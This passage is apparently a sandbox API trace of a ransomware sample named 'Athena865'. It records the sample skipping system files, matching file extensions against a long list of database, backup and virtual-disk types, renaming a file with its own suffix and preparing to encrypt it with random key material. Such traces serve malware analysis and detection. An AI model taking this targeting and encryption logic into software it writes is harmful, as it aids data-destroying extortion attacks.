lpString2="teacher") returned -1 [0128.116] lstrlenW (lpString="tmd") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="tmd") returned -1 [0128.116] lstrlenW (lpString="tps") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="tps") returned -1 [0128.116] lstrlenW (lpString="trc") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0128.116] lstrlenW (lpString="trc") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0128.116] lstrlenW (lpString="trm") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="trm") returned -1 [0128.116] lstrlenW (lpString="udb") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="udb") returned -1 [0128.116] lstrlenW (lpString="udl") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="udl") returned -1 [0128.116] lstrlenW (lpString="usr") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="usr") returned -1 [0128.116] lstrlenW (lpString="v12") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="v12") returned -1 [0128.116] lstrlenW (lpString="vis") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="vis") returned -1 [0128.116] lstrlenW (lpString="vpd") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="vpd") returned -1 [0128.116] lstrlenW (lpString="vvv") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="vvv") returned -1 [0128.116] lstrlenW (lpString="wdb") returned 3 [0128.116] lstrcmpiW (lpString1="JPG", lpString2="wdb") returned -1 [0128.116] lstrlenW (lpString="wmdb") returned 4 [0128.116] lstrcmpiW (lpString1=".JPG", lpString2="wmdb") returned -1 [0128.117] lstrlenW (lpString="wrk") returned 3 [0128.117] lstrcmpiW (lpString1="JPG", lpString2="wrk") returned -1 [0128.117] lstrlenW (lpString="xdb") returned 3 [0128.117] lstrcmpiW (lpString1="JPG", lpString2="xdb") returned -1 [0128.117] lstrlenW (lpString="xld") returned 3 [0128.117] lstrcmpiW (lpString1="JPG", lpString2="xld") returned -1 [0128.117] lstrlenW (lpString="xmlff") returned 5 [0128.117] lstrcmpiW (lpString1="2.JPG", lpString2="xmlff") returned -1 [0128.117] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.Athena865") returned 73 [0128.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.athena865"), dwFlags=0x1) returned 1 [0128.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.118] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42883) returned 1 [0128.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.119] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.119] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.119] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.119] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa90, lpName=0x0) returned 0x154 [0128.128] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaa90) returned 0x100000 [0128.131] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.132] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.132] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.133] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.133] CloseHandle (hObject=0x154) returned 1 [0128.134] CloseHandle (hObject=0x17c) returned 1 [0128.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.134] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2=".") returned 1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2="..") returned 1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2="windows") returned -1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2="bootmgr") returned 1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2="temp") returned -1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2="pagefile.sys") returned -1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2="boot") returned 1 [0128.134] lstrcmpiW (lpString1="J0216153.JPG", lpString2="ids.txt") returned 1 [0128.135] lstrcmpiW (lpString1="J0216153.JPG", lpString2="ntuser.dat") returned -1 [0128.135] lstrcmpiW (lpString1="J0216153.JPG", lpString2="perflogs") returned -1 [0128.135] lstrcmpiW (lpString1="J0216153.JPG", lpString2="MSBuild") returned -1 [0128.135] lstrlenW (lpString="J0216153.JPG") returned 12 [0128.135] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0216153.JPG" | out: lpString1="J0216153.JPG") returned="J0216153.JPG" [0128.135] lstrlenW (lpString="J0216153.JPG") returned 12 [0128.135] lstrlenW (lpString="Athena865") returned 9 [0128.135] lstrcmpiW (lpString1="16153.JPG", lpString2="Athena865") returned -1 [0128.135] lstrlenW (lpString=".dll") returned 4 [0128.135] lstrcmpiW (lpString1="J0216153.JPG", lpString2=".dll") returned 1 [0128.135] lstrlenW (lpString=".lnk") returned 4 [0128.135] lstrcmpiW (lpString1="J0216153.JPG", lpString2=".lnk") returned 1 [0128.135] lstrlenW (lpString=".ini") returned 4 [0128.135] lstrcmpiW (lpString1="J0216153.JPG", lpString2=".ini") returned 1 [0128.135] lstrlenW (lpString=".sys") returned 4 [0128.135] lstrcmpiW (lpString1="J0216153.JPG", lpString2=".sys") returned 1 [0128.135] lstrlenW (lpString="J0216153.JPG") returned 12 [0128.135] lstrlenW (lpString="bak") returned 3 [0128.135] lstrcmpiW (lpString1="JPG", lpString2="bak") returned 1 [0128.135] lstrlenW (lpString="ba_") returned 3 [0128.135] lstrcmpiW (lpString1="JPG", lpString2="ba_") returned 1 [0128.135] lstrlenW (lpString="dbb") returned 3 [0128.135] lstrcmpiW (lpString1="JPG", lpString2="dbb") returned 1 [0128.135] lstrlenW (lpString="vmdk") returned 4 [0128.135] lstrcmpiW (lpString1=".JPG", lpString2="vmdk") returned -1 [0128.135] lstrlenW (lpString="rar") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="rar") returned -1 [0128.136] lstrlenW (lpString="zip") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="zip") returned -1 [0128.136] lstrlenW (lpString="tgz") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="tgz") returned -1 [0128.136] lstrlenW (lpString="vbox") returned 4 [0128.136] lstrcmpiW (lpString1=".JPG", lpString2="vbox") returned -1 [0128.136] lstrlenW (lpString="vdi") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="vdi") returned -1 [0128.136] lstrlenW (lpString="vhd") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="vhd") returned -1 [0128.136] lstrlenW (lpString="vhdx") returned 4 [0128.136] lstrcmpiW (lpString1=".JPG", lpString2="vhdx") returned -1 [0128.136] lstrlenW (lpString="avhd") returned 4 [0128.136] lstrcmpiW (lpString1=".JPG", lpString2="avhd") returned -1 [0128.136] lstrlenW (lpString="db") returned 2 [0128.136] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0128.136] lstrlenW (lpString="db2") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="db2") returned 1 [0128.136] lstrlenW (lpString="db3") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="db3") returned 1 [0128.136] lstrlenW (lpString="dbf") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="dbf") returned 1 [0128.136] lstrlenW (lpString="mdf") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="mdf") returned -1 [0128.136] lstrlenW (lpString="mdb") returned 3 [0128.136] lstrcmpiW (lpString1="JPG", lpString2="mdb") returned -1 [0128.136] lstrlenW (lpString="sql") returned 3 [0128.137] lstrcmpiW (lpString1="JPG", lpString2="sql") returned -1 [0128.137] lstrlenW (lpString="sqlite") returned 6 [0128.137] lstrcmpiW (lpString1="53.JPG", lpString2="sqlite") returned -1 [0128.137] lstrlenW (lpString="sqlite3") returned 7 [0128.137] lstrcmpiW (lpString1="153.JPG", lpString2="sqlite3") returned -1 [0128.137] lstrlenW (lpString="sqlitedb") returned 8 [0128.137] lstrcmpiW (lpString1="6153.JPG", lpString2="sqlitedb") returned -1 [0128.137] lstrlenW (lpString="xml") returned 3 [0128.137] lstrcmpiW (lpString1="JPG", lpString2="xml") returned -1 [0128.137] lstrlenW (lpString="$er") returned 3 [0128.137] lstrcmpiW (lpString1="JPG", lpString2="$er") returned 1 [0128.137] lstrlenW (lpString="4dd") returned 3 [0128.137] lstrcmpiW (lpString1="JPG", lpString2="4dd") returned 1 [0128.137] lstrlenW (lpString="4dl") returned 3 [0128.137] lstrcmpiW (lpString1="JPG", lpString2="4dl") returned 1 [0128.137] lstrlenW (lpString="^^^") returned 3 [0128.137] lstrcmpiW (lpString1="JPG", lpString2="^^^") returned 1 [0128.137] lstrlenW (lpString="abs") returned 3 [0128.137] lstrcmpiW (lpString1="JPG", lpString2="abs") returned 1 [0128.137] lstrlenW (lpString="abx") returned 3 [0128.137] lstrcmpiW (lpString1="JPG", lpString2="abx") returned 1 [0128.137] lstrlenW (lpString="accdb") returned 5 [0128.137] lstrcmpiW (lpString1="3.JPG", lpString2="accdb") returned -1 [0128.137] lstrlenW (lpString="accdc") returned 5 [0128.137] lstrcmpiW (lpString1="3.JPG", lpString2="accdc") returned -1 [0128.137] lstrlenW (lpString="accde") returned 5 [0128.138] lstrcmpiW (lpString1="3.JPG", lpString2="accde") returned -1 [0128.138] lstrlenW (lpString="accdr") returned 5 [0128.138] lstrcmpiW (lpString1="3.JPG", lpString2="accdr") returned -1 [0128.138] lstrlenW (lpString="accdt") returned 5 [0128.138] lstrcmpiW (lpString1="3.JPG", lpString2="accdt") returned -1 [0128.138] lstrlenW (lpString="accdw") returned 5 [0128.138] lstrcmpiW (lpString1="3.JPG", lpString2="accdw") returned -1 [0128.138] lstrlenW (lpString="accft") returned 5 [0128.138] lstrcmpiW (lpString1="3.JPG", lpString2="accft") returned -1 [0128.138] lstrlenW (lpString="adb") returned 3 [0128.138] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0128.138] lstrlenW (lpString="adb") returned 3 [0128.138] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0128.138] lstrlenW (lpString="ade") returned 3 [0128.138] lstrcmpiW (lpString1="JPG", lpString2="ade") returned 1 [0128.138] lstrlenW (lpString="adf") returned 3 [0128.138] lstrcmpiW (lpString1="JPG", lpString2="adf") returned 1 [0128.138] lstrlenW (lpString="adn") returned 3 [0128.138] lstrcmpiW (lpString1="JPG", lpString2="adn") returned 1 [0128.138] lstrlenW (lpString="adp") returned 3 [0128.138] lstrcmpiW (lpString1="JPG", lpString2="adp") returned 1 [0128.138] lstrlenW (lpString="alf") returned 3 [0128.138] lstrcmpiW (lpString1="JPG", lpString2="alf") returned 1 [0128.138] lstrlenW (lpString="ask") returned 3 [0128.138] lstrcmpiW (lpString1="JPG", lpString2="ask") returned 1 [0128.138] lstrlenW (lpString="btr") returned 3 [0128.139] lstrcmpiW (lpString1="JPG", lpString2="btr") returned 1 [0128.139] lstrlenW (lpString="cat") returned 3 [0128.139] lstrcmpiW (lpString1="JPG", lpString2="cat") returned 1 [0128.139] lstrlenW (lpString="cdb") returned 3 [0128.139] lstrcmpiW (lpString1="JPG", lpString2="cdb") returned 1 [0128.139] lstrlenW (lpString="ckp") returned 3 [0128.139] lstrcmpiW (lpString1="JPG", lpString2="ckp") returned 1 [0128.139] lstrlenW (lpString="cma") returned 3 [0128.139] lstrcmpiW (lpString1="JPG", lpString2="cma") returned 1 [0128.139] lstrlenW (lpString="cpd") returned 3 [0128.139] lstrcmpiW (lpString1="JPG", lpString2="cpd") returned 1 [0128.139] lstrlenW (lpString="dacpac") returned 6 [0128.139] lstrcmpiW (lpString1="53.JPG", lpString2="dacpac") returned -1 [0128.139] lstrlenW (lpString="dad") returned 3 [0128.139] lstrcmpiW (lpString1="JPG", lpString2="dad") returned 1 [0128.139] lstrlenW (lpString="dadiagrams") returned 10 [0128.139] lstrcmpiW (lpString1="216153.JPG", lpString2="dadiagrams") returned -1 [0128.139] lstrlenW (lpString="daschema") returned 8 [0128.139] lstrcmpiW (lpString1="6153.JPG", lpString2="daschema") returned -1 [0128.139] lstrlenW (lpString="db-journal") returned 10 [0128.139] lstrcmpiW (lpString1="216153.JPG", lpString2="db-journal") returned -1 [0128.139] lstrlenW (lpString="db-shm") returned 6 [0128.139] lstrcmpiW (lpString1="53.JPG", lpString2="db-shm") returned -1 [0128.139] lstrlenW (lpString="db-wal") returned 6 [0128.139] lstrcmpiW (lpString1="53.JPG", lpString2="db-wal") returned -1 [0128.139] lstrlenW (lpString="dbc") returned 3 [0128.139] lstrcmpiW (lpString1="JPG", lpString2="dbc") returned 1 [0128.139] lstrlenW (lpString="dbs") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dbs") returned 1 [0128.140] lstrlenW (lpString="dbt") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dbt") returned 1 [0128.140] lstrlenW (lpString="dbv") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dbv") returned 1 [0128.140] lstrlenW (lpString="dbx") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dbx") returned 1 [0128.140] lstrlenW (lpString="dcb") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dcb") returned 1 [0128.140] lstrlenW (lpString="dct") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dct") returned 1 [0128.140] lstrlenW (lpString="dcx") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dcx") returned 1 [0128.140] lstrlenW (lpString="ddl") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="ddl") returned 1 [0128.140] lstrlenW (lpString="dlis") returned 4 [0128.140] lstrcmpiW (lpString1=".JPG", lpString2="dlis") returned -1 [0128.140] lstrlenW (lpString="dp1") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dp1") returned 1 [0128.140] lstrlenW (lpString="dqy") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dqy") returned 1 [0128.140] lstrlenW (lpString="dsk") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dsk") returned 1 [0128.140] lstrlenW (lpString="dsn") returned 3 [0128.140] lstrcmpiW (lpString1="JPG", lpString2="dsn") returned 1 [0128.140] lstrlenW (lpString="dtsx") returned 4 [0128.140] lstrcmpiW (lpString1=".JPG", lpString2="dtsx") returned -1 [0128.141] lstrlenW (lpString="dxl") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="dxl") returned 1 [0128.141] lstrlenW (lpString="eco") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="eco") returned 1 [0128.141] lstrlenW (lpString="ecx") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="ecx") returned 1 [0128.141] lstrlenW (lpString="edb") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="edb") returned 1 [0128.141] lstrlenW (lpString="epim") returned 4 [0128.141] lstrcmpiW (lpString1=".JPG", lpString2="epim") returned -1 [0128.141] lstrlenW (lpString="fcd") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="fcd") returned 1 [0128.141] lstrlenW (lpString="fdb") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="fdb") returned 1 [0128.141] lstrlenW (lpString="fic") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="fic") returned 1 [0128.141] lstrlenW (lpString="flexolibrary") returned 12 [0128.141] lstrlenW (lpString="fm5") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="fm5") returned 1 [0128.141] lstrlenW (lpString="fmp") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="fmp") returned 1 [0128.141] lstrlenW (lpString="fmp12") returned 5 [0128.141] lstrcmpiW (lpString1="3.JPG", lpString2="fmp12") returned -1 [0128.141] lstrlenW (lpString="fmpsl") returned 5 [0128.141] lstrcmpiW (lpString1="3.JPG", lpString2="fmpsl") returned -1 [0128.141] lstrlenW (lpString="fol") returned 3 [0128.141] lstrcmpiW (lpString1="JPG", lpString2="fol") returned 1 [0128.141] lstrlenW (lpString="fp3") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="fp3") returned 1 [0128.142] lstrlenW (lpString="fp4") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="fp4") returned 1 [0128.142] lstrlenW (lpString="fp5") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="fp5") returned 1 [0128.142] lstrlenW (lpString="fp7") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="fp7") returned 1 [0128.142] lstrlenW (lpString="fpt") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="fpt") returned 1 [0128.142] lstrlenW (lpString="frm") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="frm") returned 1 [0128.142] lstrlenW (lpString="gdb") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0128.142] lstrlenW (lpString="gdb") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0128.142] lstrlenW (lpString="grdb") returned 4 [0128.142] lstrcmpiW (lpString1=".JPG", lpString2="grdb") returned -1 [0128.142] lstrlenW (lpString="gwi") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="gwi") returned 1 [0128.142] lstrlenW (lpString="hdb") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="hdb") returned 1 [0128.142] lstrlenW (lpString="his") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="his") returned 1 [0128.142] lstrlenW (lpString="ib") returned 2 [0128.142] lstrcmpiW (lpString1="PG", lpString2="ib") returned 1 [0128.142] lstrlenW (lpString="idb") returned 3 [0128.142] lstrcmpiW (lpString1="JPG", lpString2="idb") returned 1 [0128.143] lstrlenW (lpString="ihx") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="ihx") returned 1 [0128.143] lstrlenW (lpString="itdb") returned 4 [0128.143] lstrcmpiW (lpString1=".JPG", lpString2="itdb") returned -1 [0128.143] lstrlenW (lpString="itw") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="itw") returned 1 [0128.143] lstrlenW (lpString="jet") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="jet") returned 1 [0128.143] lstrlenW (lpString="jtx") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="jtx") returned -1 [0128.143] lstrlenW (lpString="kdb") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="kdb") returned -1 [0128.143] lstrlenW (lpString="kexi") returned 4 [0128.143] lstrcmpiW (lpString1=".JPG", lpString2="kexi") returned -1 [0128.143] lstrlenW (lpString="kexic") returned 5 [0128.143] lstrcmpiW (lpString1="3.JPG", lpString2="kexic") returned -1 [0128.143] lstrlenW (lpString="kexis") returned 5 [0128.143] lstrcmpiW (lpString1="3.JPG", lpString2="kexis") returned -1 [0128.143] lstrlenW (lpString="lgc") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="lgc") returned -1 [0128.143] lstrlenW (lpString="lwx") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="lwx") returned -1 [0128.143] lstrlenW (lpString="maf") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="maf") returned -1 [0128.143] lstrlenW (lpString="maq") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="maq") returned -1 [0128.143] lstrlenW (lpString="mar") returned 3 [0128.143] lstrcmpiW (lpString1="JPG", lpString2="mar") returned -1 [0128.144] lstrlenW (lpString="marshal") returned 7 [0128.144] lstrcmpiW (lpString1="153.JPG", lpString2="marshal") returned -1 [0128.144] lstrlenW (lpString="mas") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="mas") returned -1 [0128.144] lstrlenW (lpString="mav") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="mav") returned -1 [0128.144] lstrlenW (lpString="maw") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="maw") returned -1 [0128.144] lstrlenW (lpString="mdbhtml") returned 7 [0128.144] lstrcmpiW (lpString1="153.JPG", lpString2="mdbhtml") returned -1 [0128.144] lstrlenW (lpString="mdn") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="mdn") returned -1 [0128.144] lstrlenW (lpString="mdt") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="mdt") returned -1 [0128.144] lstrlenW (lpString="mfd") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="mfd") returned -1 [0128.144] lstrlenW (lpString="mpd") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="mpd") returned -1 [0128.144] lstrlenW (lpString="mrg") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="mrg") returned -1 [0128.144] lstrlenW (lpString="mud") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="mud") returned -1 [0128.144] lstrlenW (lpString="mwb") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="mwb") returned -1 [0128.144] lstrlenW (lpString="myd") returned 3 [0128.144] lstrcmpiW (lpString1="JPG", lpString2="myd") returned -1 [0128.144] lstrlenW (lpString="ndf") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="ndf") returned -1 [0128.145] lstrlenW (lpString="nnt") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="nnt") returned -1 [0128.145] lstrlenW (lpString="nrmlib") returned 6 [0128.145] lstrcmpiW (lpString1="53.JPG", lpString2="nrmlib") returned -1 [0128.145] lstrlenW (lpString="ns2") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="ns2") returned -1 [0128.145] lstrlenW (lpString="ns3") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="ns3") returned -1 [0128.145] lstrlenW (lpString="ns4") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="ns4") returned -1 [0128.145] lstrlenW (lpString="nsf") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="nsf") returned -1 [0128.145] lstrlenW (lpString="nv") returned 2 [0128.145] lstrcmpiW (lpString1="PG", lpString2="nv") returned 1 [0128.145] lstrlenW (lpString="nv2") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="nv2") returned -1 [0128.145] lstrlenW (lpString="nwdb") returned 4 [0128.145] lstrcmpiW (lpString1=".JPG", lpString2="nwdb") returned -1 [0128.145] lstrlenW (lpString="nyf") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="nyf") returned -1 [0128.145] lstrlenW (lpString="odb") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0128.145] lstrlenW (lpString="odb") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0128.145] lstrlenW (lpString="oqy") returned 3 [0128.145] lstrcmpiW (lpString1="JPG", lpString2="oqy") returned -1 [0128.145] lstrlenW (lpString="ora") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="ora") returned -1 [0128.146] lstrlenW (lpString="orx") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="orx") returned -1 [0128.146] lstrlenW (lpString="owc") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="owc") returned -1 [0128.146] lstrlenW (lpString="p96") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="p96") returned -1 [0128.146] lstrlenW (lpString="p97") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="p97") returned -1 [0128.146] lstrlenW (lpString="pan") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="pan") returned -1 [0128.146] lstrlenW (lpString="pdb") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="pdb") returned -1 [0128.146] lstrlenW (lpString="pdm") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="pdm") returned -1 [0128.146] lstrlenW (lpString="pnz") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="pnz") returned -1 [0128.146] lstrlenW (lpString="qry") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="qry") returned -1 [0128.146] lstrlenW (lpString="qvd") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="qvd") returned -1 [0128.146] lstrlenW (lpString="rbf") returned 3 [0128.146] lstrcmpiW (lpString1="JPG", lpString2="rbf") returned -1 [0128.146] lstrlenW (lpString="rctd") returned 4 [0128.146] lstrcmpiW (lpString1=".JPG", lpString2="rctd") returned -1 [0128.146] lstrlenW (lpString="rod") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="rod") returned -1 [0128.147] lstrlenW (lpString="rodx") returned 4 [0128.147] lstrcmpiW (lpString1=".JPG", lpString2="rodx") returned -1 [0128.147] lstrlenW (lpString="rpd") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="rpd") returned -1 [0128.147] lstrlenW (lpString="rsd") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="rsd") returned -1 [0128.147] lstrlenW (lpString="sas7bdat") returned 8 [0128.147] lstrcmpiW 